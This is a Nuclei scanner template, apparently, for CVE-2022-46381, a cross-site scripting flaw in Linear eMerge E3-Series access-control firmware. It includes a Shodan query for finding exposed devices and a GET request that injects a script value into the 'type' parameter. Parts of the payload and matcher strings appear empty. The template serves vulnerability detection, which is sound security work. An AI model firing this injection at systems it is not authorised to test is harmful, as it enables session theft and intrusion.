id: CVE-2022-46381 info: name: Linear eMerge E3-Series - Cross-Site Scripting author: arafatansari severity: medium description: | Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e. remediation: | Apply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series. reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381 - https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt - https://nvd.nist.gov/vuln/detail/CVE-2022-46381 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-46381 cwe-id: CWE-79 epss-score: 0.00071 epss-percentile: 0.29402 cpe: cpe:2.3:o:niceforyou:linear_emerge_e3_access_control_firmware:0.32-07e:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: niceforyou product: linear_emerge_e3_access_control_firmware shodan-query: http.html:"Linear eMerge" tags: cve,cve2022,xss,emerge,linear http: - method: GET path: - '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/>' matchers-condition: and matchers: - type: word words: - '' - 'Badging Template' condition: and - type: status status: - 200 # digest: 4b0a004830460221008255a2d0621ed8b155c6fa7a1656daa95731cd11bd041f92c50f0d9219e9f6f7022100ad3844adc96213a5c7bb2eb2ed7e64ff4e645769954f58c2bc401120a63de4b8:922c64590222798bb761d5b6d8e72950